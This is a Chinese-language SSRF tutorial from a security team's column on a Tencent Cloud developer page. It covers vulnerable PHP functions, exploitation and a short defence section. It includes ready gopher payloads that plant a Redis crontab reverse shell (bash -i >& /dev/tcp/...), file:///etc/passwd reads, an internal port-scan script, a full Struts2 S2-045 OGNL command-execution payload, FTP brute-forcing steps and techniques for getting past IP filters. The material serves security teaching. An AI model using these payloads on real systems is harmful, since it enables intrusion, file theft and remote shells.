文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布
首页
学习
活动
专区
圈层
工具
MCP广场
返回腾讯云官网
社区首页 >专栏 >文了解SSRF漏洞

文了解SSRF漏洞

作者头像
中龙技术
发布于 2022-09-30 06:19:53
发布于 2022-09-30 06:19:53
47000
代码可运行
举报
文章被收录于专栏：kaydenkayden
运行总次数：0
代码可运行
关联问题
换一批

文了解SSRF漏洞

红客突击队于2019年由队长k龙牵头，联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩，积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员，下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨，旨在打造国际顶尖网络安全团队。

前言

本篇总结归纳SSRF漏洞

1、什么是SSRF

服务器端请求伪造（Server-Side Request Forgery, SSRF）

  • 攻击的目标是从外网无法访问的内部系统
  • Web应用脚本提供了从其他服务器应用获得数据的功能，但没有对目标地址进行过滤和限制

可能出现的地方

  • 社交分享功能：获取超链接的标题等内容进行显示
  • 转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译：给网址翻译对应网页的内容
  • 图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片
  • 图片/文章收藏功能：主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  • 云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试
  • 网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作
  • 数据库内置功能：数据库的比如mongodb的copyDatabase函数
  • 邮件系统：比如接收邮件服务器地址
  • 编码处理, 属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等
  • 未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞
  • 一些的url中的关键字：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  • 从远程服务器请求资源（upload from url 如discuz！；import & expost rss feed 如web blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）

常见的缺陷函数

  • PHP：file_get_contents、fsockopen、curl_exec等

2、产生SSRF漏洞的函数

（1）file_get_contents

该函数的作用是将整个文件读入一个字符串中

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<?php
    if(isset($_POST['url']))
    {
        $content=file_get_contents($_POST['url']);
        $filename='images/'.rand().'img1.jpg';
        file_put_contents($filename,$content);
        echo $_POST['url'];
        $img="<img src=\"".$filename."\"/>";
    }
    echo $img;
?>
（2）fsockopen

该函数用于打开一个网络连接或者一个Unix套接字连接

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<?php
  function GetFile($host,$port,$link)
  {
    $fp=fsockopen($host,int($port),$errno,$errstr,30);
    if(!fp)
    {
      echo "$errstr(error number $errno)\n";
    }
    else
    {
      $out="GET $link HTTP/1.1\r\n";
      $out.="Host:$host\r\n";
      $out.="Connection:Close\r\n\r\n";
      $out.="\r\n";
      fwrite($fp,$out);
      $contents="";
      while(!feof($fp))
      {
        $contents.=fgets($fp,1024);
      }
      fclose($fp);
      return $contents;
    }
  }
?>
（3）curl_exec

该函数可以执行给定的 curl 会话。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<?php
  if(isset($_POST['url']))
  {
    $link = $_POST['url'];
    $curlobj=curl_init();
    curl_setopt($curlobj,CURLOPT_POST,0);
    curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    $result=curl_exec($curlobj);
    curl_close($curlobj);
    $filename='../images/'.rand().'.jpg';
    file_put_contents($filename,$result);
    $img="<img src=\"".$filename."\"/>";
    echo $img;
  }
?>

3、漏洞利用

一些利用方式

  • 对外网、服务器所在内网及本地系统进行端口扫描
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别，获取企业单位内部的资产信息
  • 通过HTTPGET的请求方式来攻击内外网的Web应用
  • 利用file协议读取本地文件
  • DoS攻击（请求大文件，始终保持连接keep-alive always）
（1）本地利用

curl支持大量的协议，例如file, dict, gopher, http

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
（2）远程利用

例子1

ssrf.php

  • 无限制
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);

利用方式

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

例子2

ssrf2.php

  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True（默认不跳转）
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制为HTTPS、HTTP协议
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

利用方式

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
（3）探测内网

ssrf最常见的就是探测内网

一个通用脚本 爆破指定的一些端口和IP的D段

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
 ip = '192.168.0.%d' % i #内网ip地址
 for port in ports:
  url = 'http://ip/?url=http://%s:%s' %(ip,port)
  try:
   res = session.get(url,timeout=3)
   if len(res.text) != 0 :    #这里长度根据实际情况改
    print(ip,port,'is open')
  except:
   continue
print('Done')
（4）攻击Redis服务

Redis一般都是绑定在6379端口 如果没有设置口令（默认是无），攻击者就可以通过SSRF漏洞未授权访问内网Redis 一般用来写入Crontab定时任务用来反弹shell，或者写入webshell等等

工具gopherus

（5）攻击Mysql服务

如果内网开启了3306端口，存在没有密码的mysql 则也可以使用gopher协议进行ssrf攻击

还是工具gopherus

4、gopher协议

gopher 协议是一个在 http 协议诞生前用来访问 Internet 资源的协议 可以理解为 http 协议的前身或简化版 使用tcp 可靠连接

（1）url 格式
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
gopher://<host>:<port>/<gopher-path>
  • <port>默认为70
  • <gopher-path>格式可以是如下其中的一种
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
  • <gophertype>是一个单字符用来表示url 资源的类型，在常用的安全测试中发现不管这个字符是什么都不影响，只要有就行了，默认是1
  • <selector>是包的内容，为了避免一些特殊符号需要进行url 编码，但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错，得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%，通过对比发现直接url 编码的话会少了%0d回车字符
  • <search>用于向gopher 搜索引擎提交搜索数据，和<selector>之间用%09隔开
  • <gopher+_string>是获取gopher+ 项所需的信息，gopher+ 是gopher 协议的升级版
（2）攻击内网web

当通过ssrf 发现内网存在着一些比较脆弱的web 服务，比如有存在struts 2漏洞的web 服务 就可以尝试使用gopher 协议把poc 发送过去实现RCE

例子 内网struts 2 s2-045漏洞 存在ssrf 漏洞的靶机是192.168.73.150 存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155

poc 通常如下

https://download.csdn.net/download/weixin_38514660/13717423

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

注意gopher要对特殊符号进行二次url编码，空格可以编码为%2b 编码完就可以url发送了

（3）攻击内网redis

redis 是存在密码的，ssrf 漏洞机器和redis 为同一台 知道web 目录，redis 启动账户有权限往web 目录里写入内容

利用gopher 协议则需要现在先在本地利用上述操作复现并抓包下来后 丢到wireshark 里导出原始数据处理成gopher 协议的poc

1、使用tcpdum 抓包回环网卡lo 的6379 端口的完整包内容写入到a.cap

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
tcpdump -i lo port 6379 -s 0 -w a.cap

2、将a.cap 用wireshark 打开找到发送redis 命令的包然后追踪流，以原始数据报错到a.txt

3、使用如下命令将原始数据a.txt 的内容进行编码，后使用gopher 协议发送到6379 端口

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'

成功写入web shell

（4）攻击内网ftp

gopher 可以暴破ftp 的账号密码，暴破完了之后可以尝试上传文件 192.168.73.150 为ssrf 漏洞服务器，192.168.73.130 为内网ftp 服务器

1、本地模拟一遍访问ftp 的流量

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
tcpdump -i lo -s 0 -w a.cap
curl ftp://vsftp:vsftp@127.0.0.1/

2、把发送到21 端口的流量直接以ascii 保存下来

3、把保存下来的数据包进行url 编码两次得出poc，然后丢到burp 的intruder 里进行暴破

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

4、抓包本地lo 网卡

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
tcpdump -i lo -s 0 -w a.cap

使用ascii 据保为文件1 删掉文件1 的末行quit命令 再复制出四个文件，并把stor 命令后的文件名重写为不一样的

5、每个文件进行gopher 编码，顺便再url 编码出poc

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

6、在把传输通道的tcp stream 按如上步骤编码成gopher poc，在burp 的intruder 里在把poc 的端口部分加载荷

参考gopher 协议在SSRF 中的一些利用

5、绕过姿势

防护一般是ban掉一些指定ip 或用如下正则匹配

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

data-channel:将数据通道转换为流

https://download.csdn.net/download/weixin_42110038/19871459

这就要绕过

（1）进制转换

可以将ip地址转换成不同的进制来访问

比如127.0.0.1

  • 十六进制 = 7F000001
  • 十进制 = 2130706433
  • 二进制 = 1111111000000000000000000000001

一个脚本

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

注：

  • 八进制ip前要加上一个0
  • 其中八进制前面的0可以为多个
  • 十六进制前要加上一个0x
（2）用@绕过

http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的

此绕过同样在URL跳转绕过中适用

（3）特殊网址

如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1 可以用以下特殊网址绕过：xip.io，nip.io，sslip.io http://127.0.0.1.xip.io/1.php，实际上访问的是http://127.0.0.1/1.php

（4）短网址绕过

比如将http://127.0.0.1转换成短网址

（5）添加端口号
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
http://127.0.0.1:8080
（6）利用DNS解析

可以在自己的域名上设置A记录，指向127.0.0.1

（7）其他各种指向127.0.0.1的地址
代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
1. http://localhost/
2. http://0/              0在window下代表0.0.0.0，而在liunx下代表127.0.0.1
3. http://[0:0:0:0:0:ffff:127.0.0.1]/  在liunx下可用，window测试了下不行
4. http://[::]:80/            在liunx下可用，window测试了下不行
5. http://127。0。0。1/          用中文句号绕过
6. http://①②⑦.⓪.⓪.①            Enclosed alphanumerics方法绕过，英文字母以及其他一些可以网上找找
7. http://127.1/            0的数量多一点少一点都没影响
8. http://127.00000.00000.001/      0的数量多一点少一点都没影响

6、防御措施

主要有以下几种

  • 禁止跳转
  • 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
  • 禁用不需要的协议，仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
  • 设置URL白名单或者限制内网IP（使用gethostbyname()判断是否为内网IP）
  • 限制请求的端口为http常用的端口，比如 80、443、8080、8090
  • 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态

结语

对SSRF做了个小结

本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2022-08-29，如有侵权请联系 cloudcommunity@tencent.com 删除
http
https
网站
命令行工具
网络安全

本文分享自 红客突击队 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ，欢迎热爱写作的你一起参与！

http
https
网站
命令行工具
网络安全
评论
登录后参与评论
暂无评论
登录 后参与评论
推荐阅读
编辑精选文章
换一批
一篇文搞定消息队列选型
2776
腾讯写码6年，我总结的技术人核心竞争力
3913
醍醐灌顶！异地多活架构设计看这篇就够了
4455
单体架构比微服务架构更落后吗？
2845
万级TPS优惠券系统设计与实践
3306
我独到的技术见解--大型前端项目的常见问题和解决方案
6242
ESXi/vCenter安装部署Gentoo Linux - OpenRC/SystemD
运维虚拟化linuxDevOps 解决方案开源
本文采用最小化安装方式，同时会阐述OpenRC和SystemD两种init环境安装区别。所以，镜像采用的是最小化minimal镜像+Stage3(OpenRC/SystemD)，整个过程需要有公网访问能力，因此Stage3镜像不用下载到本地，直接在Live系统中wget即可。镜像可在国内清华Gentoo镜像站下载。
RokasYang
2023/01/18
5K2
ESXi/vCenter安装部署Gentoo Linux - OpenRC/SystemD
gentoo install_centos7 no controller found
node.jslinux分布式
这期笔记将是gentoo安装的最后一期了，虽然已经配置内核了，但是也要完成剩下的安装步骤，这离安装完成已经不远了，继续加油！！！
全栈程序员站长
2022/09/16
1.2K0
虚拟机安装archlinux的简单步骤
虚拟化linux
这篇文章是我在虚拟机安装archlinux之后的一点心得，参考了archwiki关于安装arch的一些内容https://wiki.archlinux.org/index.php/Beginners%27_guide 。
乐百川
2022/05/05
2.3K0
能当主力，能入虚拟机，还能随时打包带走，Linux 就是这么强大
其他
这里介绍一下自己管理自己的Linux桌面的一点经验吧，我觉得还是有不少可取之处的。先来说一下大多数人管理Linux桌面的方法有哪些不方便的地方吧：
小小科
2018/07/31
2.5K0
能当主力，能入虚拟机，还能随时打包带走，Linux 就是这么强大
美轮美奂的Arch, 详解Arch虚拟机安装
其他
先来看几张安装后的效果图 主界面 底部UI 桌面主题 字体管理 文件管理
zhaoolee
2018/06/11
2.4K0
Gentoo Linux x86快速安装指南对grub引导不成功的补救措施
其他
Gentoo Linux x86快速安装指南 参考文档如下： http://www.gentoo.org/doc/zh_cn/gentoo-x86-quickinstall.xml#doc_chap2 1，在mirrors.163.com上下载 install-x86-minimal-20120710.iso设置光盘引导 2，到安装grub,这块要做更改，因为哪里漏掉了initrd这块没有写，所以导致系统重启时启动不起来 这时其实数据已经保存在sda硬盘上了，这时我们只需要重启用光盘引导挂上就好了 l
三杯水Plus
2018/11/14
1.3K0
【技术教程】怎样安装Arch Linux以及Deepin桌面环境
linux
Arch Linux 是一个轻量级的Linux发行版本，实际上，Arch Linux提供给用户很多选择，用户可以自定义自己的安装过程，不x像其他很多的Linux发行版本，安装过程甚至是一个只有“下一步”的傻瓜式操作，因此我觉得Arch Linux是我见过安装过程最有技术含量的Linux发行版本。不过我们可以从中学到很多东西，因为很多东西是我们亲手构造出来的。Arch Linux的软件包管理工具是pacman，接下来我们基于Arch Linux镜像自带的Linux工具包以及pacman，从零构建属于自己的Arch Linux。
极客开发者
2022/01/18
5.7K0
【技术教程】怎样安装Arch Linux以及Deepin桌面环境
Archlinux基本安装
linux
访问下载页面，根据您想要的启动方式，获取 ISO 文件或网络启动映像，以及相应的GnuPG签名。
vivi
2021/12/09
2.2K0
VMware安装Arch Linux+Gnome桌面
linuxhttps网络安全
官方下载地址：https://www.archlinux.org/download/。
Mculover666
2022/04/08
16K0
VMware安装Arch Linux+Gnome桌面
【系统篇】ArchLinux系统安装
存储https网络安全linux
本教程为最新安装Linux的教程，想看更详细可以到我B站主页看视频教程 本教程参考自 https://wiki.archlinux.org/index.php/Installation_guide 本教程于2019.11.9日编写，请根据查阅时间参考本教程（官网安装方式未更新，则本教程保持最新状态） 教程中的镜像更新时间：2019.11.01
huanhao
2020/04/09
2.8K0
虚机redhat linux的紧急救援
linux
由于虚拟机无法启动，vmware vcenter已经无法监控到虚机vmware tools的心跳。登陆VC通过虚拟机控制台查看发现虚机REDHAT LINUX卡在如下界面:
孙杰
2019/10/29
3.9K0
虚机redhat linux的紧急救援
​Linux上的虚拟化技术 Xen 初学者指南
编程算法linux
Xen是一个开放源代码的para-virtualizing虚拟机(VMM)，或“管理程序”，是为x86架构的机器而设计的。Xen可以在一套物理硬件上安全的执行多个虚拟机；Xen是基于内核的虚拟程序，它和操作平台结合的极为密切，所以它占用的资源最少。
DevinGeng
2019/04/09
2.6K0
archlinux安装教程2020(archlinux更换国内源)
https网络安全存储
（本次使用archlinux-2020.01.01-x86_64.iso） 截图未更新！最新的arch打包发生了变化，在pacstrap那一步以前只要pacstrap -i /mnt base base-devel就可以了，现在arch将基础包的众多组件分离了，还按照之前的命令安装，会发现最后内核都没装，更不用说系统引导了。 下载地址：https://www.archlinux.org/download/
全栈程序员站长
2022/08/01
11.8K0
archlinux安装教程2020(archlinux更换国内源)
GRUB多操作系统启动程序介绍与设置使用
linux存储
描述:GRUB英文全称GRand Unified Bootloader俗称引导程序是硬盘中的软件,它可以启动用户在计算机中的多个操作系统所以也叫多重启动管理器。 目前主流版本是 GRUB2，在windows中也有类似的引导程序ntloader虽然它也可以引导Linux操作系统但是比较麻烦;
全栈工程师修炼指南
2022/09/29
8.9K0
GRUB多操作系统启动程序介绍与设置使用
ARM 和 龙芯上 Arch Linux 安装手记
armlinux配置网络虚拟机
今天尝试安装龙芯版 Linux，本来希望能安装 Debian 版，但只找到一些文档（https://wiki.debian.org/LoongArch），没找到可安装版的 ISO。
杜金房
2024/03/26
7580
ARM 和 龙芯上 Arch Linux 安装手记
内核 panic：启动时出现内核 panic 错误
linux运维
首先，确保你记录了所有的错误信息，特别是内核 panic 的具体错误信息。这些信息通常会显示在屏幕上，例如：
是山河呀
2025/02/04
1.3K0
X86_64平台上利用qemu安装aarch64架构的虚拟机「建议收藏」
https网络安全虚拟化ubuntulinux
2020.1.4更新：下面有些评论说现在安装不会遇到类似问题了，本博客参考意义不大，请绕行。 20200704更新：请参考https://wiki.ubuntu.com/UEFI/virt-install，现在安装过程没有什么问题了
全栈程序员站长
2022/11/02
11.6K0
arch linux 安装
linux存储windowsbashbash 指令
好长时间都没有更新自己的博客了，我简单翻阅了一下自己的更新记录，上一次更新好像还是在5月份左右，距今也有快半年，这半年也是遇到了很多事情，有不好的，也有好的。这半年我对在日常生活工作中使用Linux系统产生了一些兴趣，从零开始折腾这一系列的内容，主要从安装、配置、以及尝试各种软件来取代Windows的主导地位，也产生了一些心得，这里我想分几篇博客来聊聊我是如何慢慢使用arch Linux 来替代以前的Windows机器
Masimaro
2021/10/20
2.8K0
Arch Linux安装与初体验
linux虚拟化
Arch Linux 是一个 x86-64 通用发行版，它流行于那些喜欢 DIY Linux 系统的用户和 Linux铁杆粉丝当中。其默认的安装文件只含有一个最基本的系统，它希望使用者自己配置并使用 Arch 系统。其基于 KISS 原则（使它保持简单、傻瓜Keep It Simple, Stupid!），Arch Linux 是一个专注于优雅、代码正确，精简而简洁的系统。
yuanfan2012
2021/02/25
2.9K0
Arch Linux安装与初体验
实战最精简的 linux -- arch linux 安装
linux
安装操作系统已经越来越成为一件非常简单的事情了，几乎可以做到仅依靠鼠标一路点击，傻瓜式安装了，也许这让你不禁会去想，到底操作系统安装过程中做了哪些事情，亦或是你想要安装一个真正干净的系统，一切组件要什么不要什么都自己说了算，那么，arch linux 可能会是你一个不错的选择。 正是因为 arch 的高度定制与简洁，加上他的滚动升级机制以及庞大的社区 AUR，让他成为了越来越火热的 linux 发行版，本文，我们就来通过安装 arch 讲解一下 linux 的一些基本的命令行配置方法。
用户3147702
2022/06/27
8.1K0
实战最精简的 linux -- arch linux 安装
推荐阅读
编辑精选文章
一篇文搞定消息队列选型腾讯写码6年，我总结的技术人核心竞争力醍醐灌顶！异地多活架构设计看这篇就够了单体架构比微服务架构更落后吗？万级TPS优惠券系统设计与实践我独到的技术见解--大型前端项目的常见问题和解决方案
相关讨论
Jvm虚拟机在哪里下载，有无安装教程？在腾讯云上可以安装虚拟机吗？M1虚拟机无法安装TencentOS Server 3.1 ？
相关课程
AI绘画-StableDiffusion图像生成ES Serverless一站式日志分析入门到精通大数据
ESXi/vCenter安装部署Gentoo Linux - OpenRC/SystemD
5K2
gentoo install_centos7 no controller found
1.2K0
虚拟机安装archlinux的简单步骤
2.3K0
能当主力，能入虚拟机，还能随时打包带走，Linux 就是这么强大
2.5K0
美轮美奂的Arch, 详解Arch虚拟机安装
2.4K0
Gentoo Linux x86快速安装指南对grub引导不成功的补救措施
1.3K0
【技术教程】怎样安装Arch Linux以及Deepin桌面环境
5.7K0
Archlinux基本安装
2.2K0
VMware安装Arch Linux+Gnome桌面
16K0
【系统篇】ArchLinux系统安装
2.8K0
虚机redhat linux的紧急救援
3.9K0
​Linux上的虚拟化技术 Xen 初学者指南
2.6K0
archlinux安装教程2020(archlinux更换国内源)
11.8K0
GRUB多操作系统启动程序介绍与设置使用
8.9K0
ARM 和 龙芯上 Arch Linux 安装手记
7580
内核 panic：启动时出现内核 panic 错误
1.3K0
X86_64平台上利用qemu安装aarch64架构的虚拟机「建议收藏」
11.6K0
arch linux 安装
2.8K0
Arch Linux安装与初体验
2.9K0
实战最精简的 linux -- arch linux 安装
8.1K0
相关推荐
ESXi/vCenter安装部署Gentoo Linux - OpenRC/SystemD
更多 >
中龙技术0
LV.1
中龙技术安全研究院
文章
99
获赞
176
专栏
1
作者相关精选
换一批
加入讨论
的问答专区 >
liquid0
相关课程
一站式学习中心 >
AI绘画-StableDiffusion图像生成
1706人在学
腾讯混元生图
高性能应用服务
ES Serverless一站式日志分析入门到精通
1188人在学
Elasticsearch Service
大数据
567人在学
大数据
领券

腾讯云开发者

扫码关注腾讯云开发者

扫码关注腾讯云开发者

领取腾讯云代金券

热门产品

热门推荐

更多推荐

Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 

深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 深公网安备号 44030502008569

腾讯云计算（北京）有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287

问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档

Copyright © 2013 - 2025 Tencent Cloud.

All Rights Reserved. 腾讯云 版权所有

登录 后参与评论
1
本文部分代码块支持一键运行，欢迎体验
本文部分代码块支持一键运行，欢迎体验